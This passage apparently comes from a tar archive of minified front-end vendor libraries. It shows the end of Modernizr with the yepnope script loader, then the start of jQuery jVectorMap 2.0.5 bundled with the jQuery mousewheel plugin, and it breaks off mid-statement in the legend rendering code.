section summary template time video",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:"default",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,e._prefixes=n,e._domPrefixes=q,e._cssomPrefixes=p,e.mq=z,e.hasEvent=A,e.testProp=function(a){return H([a])},e.testAllProps=J,e.testStyles=y,e.prefixed=function(a,b,c){return b?J(a,b,c):J(a,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+v.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))}; vendor/jquery-jvectormap-2.0.5.min.js000064400000157473151677214220013340 0ustar00!function($){var apiParams={set:{colors:1,values:1,backgroundColor:1,scaleColors:1,normalizeFunction:1,focus:1},get:{selectedRegions:1,selectedMarkers:1,mapObject:1,regionName:1}};$.fn.vectorMap=function(options){var map=this.children(".jvectormap-container").data("mapObject");if("addMap"===options)jvm.Map.maps[arguments[1]]=arguments[2];else{if(("set"===options||"get"===options)&&apiParams[options][arguments[1]])return map[options+(arguments[1].charAt(0).toUpperCase()+arguments[1].substr(1))].apply(map,Array.prototype.slice.call(arguments,2));(options=options||{}).container=this,map=new jvm.Map(options)}return this}}(jQuery),function(factory){"function"==typeof define&&define.amd?define(["jquery"],factory):"object"==typeof exports?module.exports=factory:factory(jQuery)}(function($){var nullLowestDeltaTimeout,lowestDelta,toFix=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],toBind="onwheel"in document||9<=document.documentMode?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],slice=Array.prototype.slice;if($.event.fixHooks)for(var i=toFix.length;i;)$.event.fixHooks[toFix[--i]]=$.event.mouseHooks;var special=$.event.special.mousewheel={version:"3.1.9",setup:function(){if(this.addEventListener)for(var i=toBind.length;i;)this.addEventListener(toBind[--i],handler,!1);else this.onmousewheel=handler;$.data(this,"mousewheel-line-height",special.getLineHeight(this)),$.data(this,"mousewheel-page-height",special.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var i=toBind.length;i;)this.removeEventListener(toBind[--i],handler,!1);else this.onmousewheel=null},getLineHeight:function(elem){return parseInt($(elem)["offsetParent"in $.fn?"offsetParent":"parent"]().css("fontSize"),10)},getPageHeight:function(elem){return $(elem).height()},settings:{adjustOldDeltas:!0}};function handler(event){var absDelta,orgEvent=event||window.event,args=slice.call(arguments,1),delta=0,deltaX=0,deltaY=0;if((event=$.event.fix(orgEvent)).type="mousewheel","detail"in orgEvent&&(deltaY=-1*orgEvent.detail),"wheelDelta"in orgEvent&&(deltaY=orgEvent.wheelDelta),"wheelDeltaY"in orgEvent&&(deltaY=orgEvent.wheelDeltaY),"wheelDeltaX"in orgEvent&&(deltaX=-1*orgEvent.wheelDeltaX),"axis"in orgEvent&&orgEvent.axis===orgEvent.HORIZONTAL_AXIS&&(deltaX=-1*deltaY,deltaY=0),delta=0===deltaY?deltaX:deltaY,"deltaY"in orgEvent&&(delta=deltaY=-1*orgEvent.deltaY),"deltaX"in orgEvent&&(deltaX=orgEvent.deltaX,0===deltaY&&(delta=-1*deltaX)),0!==deltaY||0!==deltaX){if(1===orgEvent.deltaMode){var lineHeight=$.data(this,"mousewheel-line-height");delta*=lineHeight,deltaY*=lineHeight,deltaX*=lineHeight}else if(2===orgEvent.deltaMode){var pageHeight=$.data(this,"mousewheel-page-height");delta*=pageHeight,deltaY*=pageHeight,deltaX*=pageHeight}return absDelta=Math.max(Math.abs(deltaY),Math.abs(deltaX)),(!lowestDelta||absDelta<lowestDelta)&&shouldAdjustOldDeltas(orgEvent,lowestDelta=absDelta)&&(lowestDelta/=40),shouldAdjustOldDeltas(orgEvent,absDelta)&&(delta/=40,deltaX/=40,deltaY/=40),delta=Math[1<=delta?"floor":"ceil"](delta/lowestDelta),deltaX=Math[1<=deltaX?"floor":"ceil"](deltaX/lowestDelta),deltaY=Math[1<=deltaY?"floor":"ceil"](deltaY/lowestDelta),event.deltaX=deltaX,event.deltaY=deltaY,event.deltaFactor=lowestDelta,event.deltaMode=0,args.unshift(event,delta,deltaX,deltaY),nullLowestDeltaTimeout&&clearTimeout(nullLowestDeltaTimeout),nullLowestDeltaTimeout=setTimeout(nullLowestDelta,200),($.event.dispatch||$.event.handle).apply(this,args)}}function nullLowestDelta(){lowestDelta=null}function shouldAdjustOldDeltas(orgEvent,absDelta){return special.settings.adjustOldDeltas&&"mousewheel"===orgEvent.type&&absDelta%120==0}$.fn.extend({mousewheel:function(fn){return fn?this.bind("mousewheel",fn):this.trigger("mousewheel")},unmousewheel:function(fn){return this.unbind("mousewheel",fn)}})});var jvm={inherits:function(child,parent){function temp(){}temp.prototype=parent.prototype,child.prototype=new temp,(child.prototype.constructor=child).parentClass=parent},mixin:function(target,source){var prop;for(prop in source.prototype)source.prototype.hasOwnProperty(prop)&&(target.prototype[prop]=source.prototype[prop])},min:function(values){var i,min=Number.MAX_VALUE;if(values instanceof Array)for(i=0;i<values.length;i++)values[i]<min&&(min=values[i]);else for(i in values)values[i]<min&&(min=values[i]);return min},max:function(values){var i,max=Number.MIN_VALUE;if(values instanceof Array)for(i=0;i<values.length;i++)values[i]>max&&(max=values[i]);else for(i in values)values[i]>max&&(max=values[i]);return max},keys:function(object){var key,keys=[];for(key in object)keys.push(key);return keys},values:function(object){var key,i,values=[];for(i=0;i<arguments.length;i++)for(key in object=arguments[i])values.push(object[key]);return values},whenImageLoaded:function(url){var deferred=new jvm.$.Deferred,img=jvm.$("<img/>");return img.on("error",function(){deferred.reject()}).on("load",function(){deferred.resolve(img)}),img.attr("src",url),deferred},isImageUrl:function(s){return/\.\w{3,4}$/.test(s)}};jvm.$=jQuery,Array.prototype.indexOf||(Array.prototype.indexOf=function(searchElement,fromIndex){var k;if(null==this)throw new TypeError('"this" is null or not defined');var O=Object(this),len=O.length>>>0;if(0==len)return-1;var n=+fromIndex||0;if(Math.abs(n)===1/0&&(n=0),len<=n)return-1;for(k=Math.max(0<=n?n:len-Math.abs(n),0);k<len;){if(k in O&&O[k]===searchElement)return k;k++}return-1}),jvm.AbstractElement=function(name,config){this.node=this.createElement(name),this.name=name,this.properties={},config&&this.set(config)},jvm.AbstractElement.prototype.set=function(property,value){var key;if("object"==typeof property)for(key in property)this.properties[key]=property[key],this.applyAttr(key,property[key]);else this.properties[property]=value,this.applyAttr(property,value)},jvm.AbstractElement.prototype.get=function(property){return this.properties[property]},jvm.AbstractElement.prototype.applyAttr=function(property,value){this.node.setAttribute(property,value)},jvm.AbstractElement.prototype.remove=function(){jvm.$(this.node).remove()},jvm.AbstractCanvasElement=function(container,width,height){this.container=container,this.setSize(width,height),this.rootElement=new jvm[this.classPrefix+"GroupElement"],this.node.appendChild(this.rootElement.node),this.container.appendChild(this.node)},jvm.AbstractCanvasElement.prototype.add=function(element,group){(group=group||this.rootElement).add(element),element.canvas=this},jvm.AbstractCanvasElement.prototype.addPath=function(config,style,group){var el=new jvm[this.classPrefix+"PathElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addCircle=function(config,style,group){var el=new jvm[this.classPrefix+"CircleElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addImage=function(config,style,group){var el=new jvm[this.classPrefix+"ImageElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addText=function(config,style,group){var el=new jvm[this.classPrefix+"TextElement"](config,style);return this.add(el,group),el},jvm.AbstractCanvasElement.prototype.addGroup=function(parentGroup){var el=new jvm[this.classPrefix+"GroupElement"];return parentGroup?parentGroup.node.appendChild(el.node):this.node.appendChild(el.node),el.canvas=this,el},jvm.AbstractShapeElement=function(name,config,style){this.style=style||{},this.style.current=this.style.current||{},this.isHovered=!1,this.isSelected=!1,this.updateStyle()},jvm.AbstractShapeElement.prototype.setStyle=function(property,value){var styles={};"object"==typeof property?styles=property:styles[property]=value,jvm.$.extend(this.style.current,styles),this.updateStyle()},jvm.AbstractShapeElement.prototype.updateStyle=function(){var attrs={};jvm.AbstractShapeElement.mergeStyles(attrs,this.style.initial),jvm.AbstractShapeElement.mergeStyles(attrs,this.style.current),this.isHovered&&jvm.AbstractShapeElement.mergeStyles(attrs,this.style.hover),this.isSelected&&(jvm.AbstractShapeElement.mergeStyles(attrs,this.style.selected),this.isHovered&&jvm.AbstractShapeElement.mergeStyles(attrs,this.style.selectedHover)),this.set(attrs)},jvm.AbstractShapeElement.mergeStyles=function(styles,newStyles){var key;for(key in newStyles=newStyles||{})null===newStyles[key]?delete styles[key]:styles[key]=newStyles[key]},jvm.SVGElement=function(name,config){jvm.SVGElement.parentClass.apply(this,arguments)},jvm.inherits(jvm.SVGElement,jvm.AbstractElement),jvm.SVGElement.svgns="http://www.w3.org/2000/svg",jvm.SVGElement.prototype.createElement=function(tagName){return document.createElementNS(jvm.SVGElement.svgns,tagName)},jvm.SVGElement.prototype.addClass=function(className){this.node.setAttribute("class",className)},jvm.SVGElement.prototype.getElementCtr=function(ctr){return jvm["SVG"+ctr]},jvm.SVGElement.prototype.getBBox=function(){return this.node.getBBox()},jvm.SVGGroupElement=function(){jvm.SVGGroupElement.parentClass.call(this,"g")},jvm.inherits(jvm.SVGGroupElement,jvm.SVGElement),jvm.SVGGroupElement.prototype.add=function(element){this.node.appendChild(element.node)},jvm.SVGCanvasElement=function(container,width,height){this.classPrefix="SVG",jvm.SVGCanvasElement.parentClass.call(this,"svg"),this.defsElement=new jvm.SVGElement("defs"),this.node.appendChild(this.defsElement.node),jvm.AbstractCanvasElement.apply(this,arguments)},jvm.inherits(jvm.SVGCanvasElement,jvm.SVGElement),jvm.mixin(jvm.SVGCanvasElement,jvm.AbstractCanvasElement),jvm.SVGCanvasElement.prototype.setSize=function(width,height){this.width=width,this.height=height,this.node.setAttribute("width",width),this.node.setAttribute("height",height)},jvm.SVGCanvasElement.prototype.applyTransformParams=function(scale,transX,transY){this.scale=scale,this.transX=transX,this.transY=transY,this.rootElement.node.setAttribute("transform","scale("+scale+") translate("+transX+", "+transY+")")},jvm.SVGShapeElement=function(name,config,style){jvm.SVGShapeElement.parentClass.call(this,name,config),jvm.AbstractShapeElement.apply(this,arguments)},jvm.inherits(jvm.SVGShapeElement,jvm.SVGElement),jvm.mixin(jvm.SVGShapeElement,jvm.AbstractShapeElement),jvm.SVGShapeElement.prototype.applyAttr=function(attr,value){var patternEl,imageEl,that=this;"fill"===attr&&jvm.isImageUrl(value)?jvm.SVGShapeElement.images[value]?this.applyAttr("fill","url(#image"+jvm.SVGShapeElement.images[value]+")"):jvm.whenImageLoaded(value).then(function(img){(imageEl=new jvm.SVGElement("image")).node.setAttributeNS("http://www.w3.org/1999/xlink","href",value),imageEl.applyAttr("x","0"),imageEl.applyAttr("y","0"),imageEl.applyAttr("width",img[0].width),imageEl.applyAttr("height",img[0].height),(patternEl=new jvm.SVGElement("pattern")).applyAttr("id","image"+jvm.SVGShapeElement.imageCounter),patternEl.applyAttr("x",0),patternEl.applyAttr("y",0),patternEl.applyAttr("width",img[0].width/2),patternEl.applyAttr("height",img[0].height/2),patternEl.applyAttr("viewBox","0 0 "+img[0].width+" "+img[0].height),patternEl.applyAttr("patternUnits","userSpaceOnUse"),patternEl.node.appendChild(imageEl.node),that.canvas.defsElement.node.appendChild(patternEl.node),jvm.SVGShapeElement.images[value]=jvm.SVGShapeElement.imageCounter++,that.applyAttr("fill","url(#image"+jvm.SVGShapeElement.images[value]+")")}):jvm.SVGShapeElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.SVGShapeElement.imageCounter=1,jvm.SVGShapeElement.images={},jvm.SVGPathElement=function(config,style){jvm.SVGPathElement.parentClass.call(this,"path",config,style),this.node.setAttribute("fill-rule","evenodd")},jvm.inherits(jvm.SVGPathElement,jvm.SVGShapeElement),jvm.SVGCircleElement=function(config,style){jvm.SVGCircleElement.parentClass.call(this,"circle",config,style)},jvm.inherits(jvm.SVGCircleElement,jvm.SVGShapeElement),jvm.SVGImageElement=function(config,style){jvm.SVGImageElement.parentClass.call(this,"image",config,style)},jvm.inherits(jvm.SVGImageElement,jvm.SVGShapeElement),jvm.SVGImageElement.prototype.applyAttr=function(attr,value){var imageUrl,that=this;"image"==attr?("object"==typeof value?(imageUrl=value.url,this.offset=value.offset):(imageUrl=value,this.offset=[0,0]),jvm.whenImageLoaded(imageUrl).then(function(img){that.node.setAttributeNS("http://www.w3.org/1999/xlink","href",imageUrl),that.width=img[0].width,that.height=img[0].height,that.applyAttr("width",that.width),that.applyAttr("height",that.height),that.applyAttr("x",that.cx-that.width/2+that.offset[0]),that.applyAttr("y",that.cy-that.height/2+that.offset[1]),jvm.$(that.node).trigger("imageloaded",[img])})):"cx"==attr?(this.cx=value,this.width&&this.applyAttr("x",value-this.width/2+this.offset[0])):"cy"==attr?(this.cy=value,this.height&&this.applyAttr("y",value-this.height/2+this.offset[1])):jvm.SVGImageElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.SVGTextElement=function(config,style){jvm.SVGTextElement.parentClass.call(this,"text",config,style)},jvm.inherits(jvm.SVGTextElement,jvm.SVGShapeElement),jvm.SVGTextElement.prototype.applyAttr=function(attr,value){"text"===attr?this.node.textContent=value:jvm.SVGTextElement.parentClass.prototype.applyAttr.apply(this,arguments)},jvm.VMLElement=function(name,config){jvm.VMLElement.VMLInitialized||jvm.VMLElement.initializeVML(),jvm.VMLElement.parentClass.apply(this,arguments)},jvm.inherits(jvm.VMLElement,jvm.AbstractElement),jvm.VMLElement.VMLInitialized=!1,jvm.VMLElement.initializeVML=function(){try{document.namespaces.rvml||document.namespaces.add("rvml","urn:schemas-microsoft-com:vml"),jvm.VMLElement.prototype.createElement=function(tagName){return document.createElement("<rvml:"+tagName+' class="rvml">')}}catch(e){jvm.VMLElement.prototype.createElement=function(tagName){return document.createElement("<"+tagName+' xmlns="urn:schemas-microsoft.com:vml" class="rvml">')}}document.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)"),jvm.VMLElement.VMLInitialized=!0},jvm.VMLElement.prototype.getElementCtr=function(ctr){return jvm["VML"+ctr]},jvm.VMLElement.prototype.addClass=function(className){jvm.$(this.node).addClass(className)},jvm.VMLElement.prototype.applyAttr=function(attr,value){this.node[attr]=value},jvm.VMLElement.prototype.getBBox=function(){var node=jvm.$(this.node);return{x:node.position().left/this.canvas.scale,y:node.position().top/this.canvas.scale,width:node.width()/this.canvas.scale,height:node.height()/this.canvas.scale}},jvm.VMLGroupElement=function(){jvm.VMLGroupElement.parentClass.call(this,"group"),this.node.style.left="0px",this.node.style.top="0px",this.node.coordorigin="0 0"},jvm.inherits(jvm.VMLGroupElement,jvm.VMLElement),jvm.VMLGroupElement.prototype.add=function(element){this.node.appendChild(element.node)},jvm.VMLCanvasElement=function(container,width,height){this.classPrefix="VML",jvm.VMLCanvasElement.parentClass.call(this,"group"),jvm.AbstractCanvasElement.apply(this,arguments),this.node.style.position="absolute"},jvm.inherits(jvm.VMLCanvasElement,jvm.VMLElement),jvm.mixin(jvm.VMLCanvasElement,jvm.AbstractCanvasElement),jvm.VMLCanvasElement.prototype.setSize=function(width,height){var paths,groups,i,l;if(this.width=width,this.height=height,this.node.style.width=width+"px",this.node.style.height=height+"px",this.node.coordsize=width+" "+height,this.node.coordorigin="0 0",this.rootElement){for(i=0,l=(paths=this.rootElement.node.getElementsByTagName("shape")).length;i<l;i++)paths[i].coordsize=width+" "+height,paths[i].style.width=width+"px",paths[i].style.height=height+"px";for(i=0,l=(groups=this.node.getElementsByTagName("group")).length;i<l;i++)groups[i].coordsize=width+" "+height,groups[i].style.width=width+"px",groups[i].style.height=height+"px"}},jvm.VMLCanvasElement.prototype.applyTransformParams=function(scale,transX,transY){this.scale=scale,this.transX=transX,this.transY=transY,this.rootElement.node.coordorigin=this.width-transX-this.width/100+","+(this.height-transY-this.height/100),this.rootElement.node.coordsize=this.width/scale+","+this.height/scale},jvm.VMLShapeElement=function(name,config){jvm.VMLShapeElement.parentClass.call(this,name,config),this.fillElement=new jvm.VMLElement("fill"),this.strokeElement=new jvm.VMLElement("stroke"),this.node.appendChild(this.fillElement.node),this.node.appendChild(this.strokeElement.node),this.node.stroked=!1,jvm.AbstractShapeElement.apply(this,arguments)},jvm.inherits(jvm.VMLShapeElement,jvm.VMLElement),jvm.mixin(jvm.VMLShapeElement,jvm.AbstractShapeElement),jvm.VMLShapeElement.prototype.applyAttr=function(attr,value){switch(attr){case"fill":this.node.fillcolor=value;break;case"fill-opacity":this.fillElement.node.opacity=Math.round(100*value)+"%";break;case"stroke":this.node.stroked="none"!==value,this.node.strokecolor=value;break;case"stroke-opacity":this.strokeElement.node.opacity=Math.round(100*value)+"%";break;case"stroke-width":0===parseInt(value,10)?this.node.stroked=!1:this.node.stroked=!0,this.node.strokeweight=value;break;case"d":this.node.path=jvm.VMLPathElement.pathSvgToVml(value);break;default:jvm.VMLShapeElement.parentClass.prototype.applyAttr.apply(this,arguments)}},jvm.VMLPathElement=function(config,style){var scale=new jvm.VMLElement("skew");jvm.VMLPathElement.parentClass.call(this,"shape",config,style),this.node.coordorigin="0 0",scale.node.on=!0,scale.node.matrix="0.01,0,0,0.01,0,0",scale.node.offset="0,0",this.node.appendChild(scale.node)},jvm.inherits(jvm.VMLPathElement,jvm.VMLShapeElement),jvm.VMLPathElement.prototype.applyAttr=function(attr,value){"d"===attr?this.node.path=jvm.VMLPathElement.pathSvgToVml(value):jvm.VMLShapeElement.prototype.applyAttr.call(this,attr,value)},jvm.VMLPathElement.pathSvgToVml=function(path){var ctrlx,ctrly,cx=0,cy=0;return(path=path.replace(/(-?\d+)e(-?\d+)/g,"0")).replace(/([MmLlHhVvCcSs])\s*((?:-?\d*(?:\.\d+)?\s*,?\s*)+)/g,function(segment,letter,coords,index){(coords=coords.replace(/(\d)-/g,"$1,-").replace(/^\s+/g,"").replace(/\s+$/g,"").replace(/\s+/g,",").split(","))[0]||coords.shift();for(var i=0,l=coords.length;i<l;i++)coords[i]=Math.round(100*coords[i]);switch(letter){case"m":return cx+=coords[0],cy+=coords[1],"t"+coords.join(",");case"M":return cx=coords[0],cy=coords[1],"m"+coords.join(",");case"l":return cx+=coords[0],cy+=coords[1],"r"+coords.join(",");case"L":return cx=coords[0],cy=coords[1],"l"+coords.join(",");case"h":return cx+=coords[0],"r"+coords[0]+",0";case"H":return"l"+(cx=coords[0])+","+cy;case"v":return cy+=coords[0],"r0,"+coords[0];case"V":return cy=coords[0],"l"+cx+","+cy;case"c":return ctrlx=cx+coords[coords.length-4],ctrly=cy+coords[coords.length-3],cx+=coords[coords.length-2],cy+=coords[coords.length-1],"v"+coords.join(",");case"C":return ctrlx=coords[coords.length-4],ctrly=coords[coords.length-3],cx=coords[coords.length-2],cy=coords[coords.length-1],"c"+coords.join(",");case"s":return coords.unshift(cy-ctrly),coords.unshift(cx-ctrlx),ctrlx=cx+coords[coords.length-4],ctrly=cy+coords[coords.length-3],cx+=coords[coords.length-2],cy+=coords[coords.length-1],"v"+coords.join(",");case"S":return coords.unshift(cy+cy-ctrly),coords.unshift(cx+cx-ctrlx),ctrlx=coords[coords.length-4],ctrly=coords[coords.length-3],cx=coords[coords.length-2],cy=coords[coords.length-1],"c"+coords.join(",")}return""}).replace(/z/g,"e")},jvm.VMLCircleElement=function(config,style){jvm.VMLCircleElement.parentClass.call(this,"oval",config,style)},jvm.inherits(jvm.VMLCircleElement,jvm.VMLShapeElement),jvm.VMLCircleElement.prototype.applyAttr=function(attr,value){switch(attr){case"r":this.node.style.width=2*value+"px",this.node.style.height=2*value+"px",this.applyAttr("cx",this.get("cx")||0),this.applyAttr("cy",this.get("cy")||0);break;case"cx":if(!value)return;this.node.style.left=value-(this.get("r")||0)+"px";break;case"cy":if(!value)return;this.node.style.top=value-(this.get("r")||0)+"px";break;default:jvm.VMLCircleElement.parentClass.prototype.applyAttr.call(this,attr,value)}},jvm.VectorCanvas=function(container,width,height){return this.mode=window.SVGAngle?"svg":"vml","svg"==this.mode?this.impl=new jvm.SVGCanvasElement(container,width,height):this.impl=new jvm.VMLCanvasElement(container,width,height),this.impl.mode=this.mode,this.impl},jvm.SimpleScale=function(scale){this.scale=scale},jvm.SimpleScale.prototype.getValue=function(value){return value},jvm.OrdinalScale=function(scale){this.scale=scale},jvm.OrdinalScale.prototype.getValue=function(value){return this.scale[value]},jvm.OrdinalScale.prototype.getTicks=function(){var key,ticks=[];for(key in this.scale)ticks.push({label:key,value:this.scale[key]});return ticks},jvm.NumericScale=function(scale,normalizeFunction,minValue,maxValue){this.scale=[],normalizeFunction=normalizeFunction||"linear",scale&&this.setScale(scale),normalizeFunction&&this.setNormalizeFunction(normalizeFunction),void 0!==minValue&&this.setMin(minValue),void 0!==maxValue&&this.setMax(maxValue)},jvm.NumericScale.prototype={setMin:function(min){this.clearMinValue=min,"function"==typeof this.normalize?this.minValue=this.normalize(min):this.minValue=min},setMax:function(max){this.clearMaxValue=max,"function"==typeof this.normalize?this.maxValue=this.normalize(max):this.maxValue=max},setScale:function(scale){var i;for(this.scale=[],i=0;i<scale.length;i++)this.scale[i]=[scale[i]]},setNormalizeFunction:function(f){"polynomial"===f?this.normalize=function(value){return Math.pow(value,.2)}:"linear"===f?delete this.normalize:this.normalize=f,this.setMin(this.clearMinValue),this.setMax(this.clearMaxValue)},getValue:function(value){var l,c,lengthes=[],fullLength=0,i=0;for("function"==typeof this.normalize&&(value=this.normalize(value)),i=0;i<this.scale.length-1;i++)l=this.vectorLength(this.vectorSubtract(this.scale[i+1],this.scale[i])),lengthes.push(l),fullLength+=l;for(c=(this.maxValue-this.minValue)/fullLength,i=0;i<lengthes.length;i++)lengthes[i]*=c;for(i=0,value-=this.minValue;0<=value-lengthes[i];)value-=lengthes[i],i++;return value=i==this.scale.length-1?this.vectorToNum(this.scale[i]):this.vectorToNum(this.vectorAdd(this.scale[i],this.vectorMult(this.vectorSubtract(this.scale[i+1],this.scale[i]),value/lengthes[i])))},vectorToNum:function(vector){var i,num=0;for(i=0;i<vector.length;i++)num+=Math.round(vector[i])*Math.pow(256,vector.length-i-1);return num},vectorSubtract:function(vector1,vector2){var i,vector=[];for(i=0;i<vector1.length;i++)vector[i]=vector1[i]-vector2[i];return vector},vectorAdd:function(vector1,vector2){var i,vector=[];for(i=0;i<vector1.length;i++)vector[i]=vector1[i]+vector2[i];return vector},vectorMult:function(vector,num){var i,result=[];for(i=0;i<vector.length;i++)result[i]=vector[i]*num;return result},vectorLength:function(vector){var i,result=0;for(i=0;i<vector.length;i++)result+=vector[i]*vector[i];return Math.sqrt(result)},getTicks:function(){var tick,v,extent=[this.clearMinValue,this.clearMaxValue],span=extent[1]-extent[0],step=Math.pow(10,Math.floor(Math.log(span/5)/Math.LN10)),err=5/span*step,ticks=[];for(err<=.15?step*=10:err<=.35?step*=5:err<=.75&&(step*=2),extent[0]=Math.floor(extent[0]/step)*step,extent[1]=Math.ceil(extent[1]/step)*step,tick=extent[0];tick<=extent[1];)v=tick==extent[0]?this.clearMinValue:tick==extent[1]?this.clearMaxValue:tick,ticks.push({label:tick,value:this.getValue(v)}),tick+=step;return ticks}},jvm.ColorScale=function(colors,normalizeFunction,minValue,maxValue){jvm.ColorScale.parentClass.apply(this,arguments)},jvm.inherits(jvm.ColorScale,jvm.NumericScale),jvm.ColorScale.prototype.setScale=function(scale){var i;for(i=0;i<scale.length;i++)this.scale[i]=jvm.ColorScale.rgbToArray(scale[i])},jvm.ColorScale.prototype.getValue=function(value){return jvm.ColorScale.numToRgb(jvm.ColorScale.parentClass.prototype.getValue.call(this,value))},jvm.ColorScale.arrayToRgb=function(ar){var d,i,rgb="#";for(i=0;i<ar.length;i++)rgb+=1==(d=ar[i].toString(16)).length?"0"+d:d;return rgb},jvm.ColorScale.numToRgb=function(num){for(num=num.toString(16);num.length<6;)num="0"+num;return"#"+num},jvm.ColorScale.rgbToArray=function(rgb){return rgb=rgb.substr(1),[parseInt(rgb.substr(0,2),16),parseInt(rgb.substr(2,2),16),parseInt(rgb.substr(4,2),16)]},jvm.Legend=function(params){this.params=params||{},this.map=this.params.map,this.series=this.params.series,this.body=jvm.$("<div/>"),this.body.addClass("jvectormap-legend"),this.params.cssClass&&this.body.addClass(this.params.cssClass),params.vertical?this.map.legendCntVertical.append(this.body):this.map.legendCntHorizontal.append(this.body),this.render()},jvm.Legend.prototype.render=function(){var i,tick,sample,label,ticks=this.series.scale.getTicks(),inner=jvm.$("<div/>").addClass("jvectormap-legend-inner");for(this.body.html(""),this.params.title&&this.body.append(jvm.$("<div/>").addClass("jvectormap-legend-title").html(this.params.title)),this.body.append(inner),i=0;i<ticks.length;i++){switch(tick=jvm.$("<div/>").addClass("jvectormap-legend-tick"),sample=jvm.$("<div/>").addClass("jvectormap-legend-tick-sample"),this.series.params.attribute){case"fill":jvm.isImageUrl(ticks[i].value)?sample.css("background","url("+ticks[i].value+")"):sample.css("background",ticks[i].value);break;case"stroke":sample.css("background",ticks[i].value);break;case"image":sample.css("background","url("+("object"==typeof ticks[i].value?ticks[i].value.url:ticks[i].value)+") no-repeat center center");break;case"r":jvm.$("<div/>").css({"border-radius":ticks[i].value,border:this.map.params.markerStyle.initial["stroke-width"]+"px "+this.map.params.markerStyle.initial.stroke+" 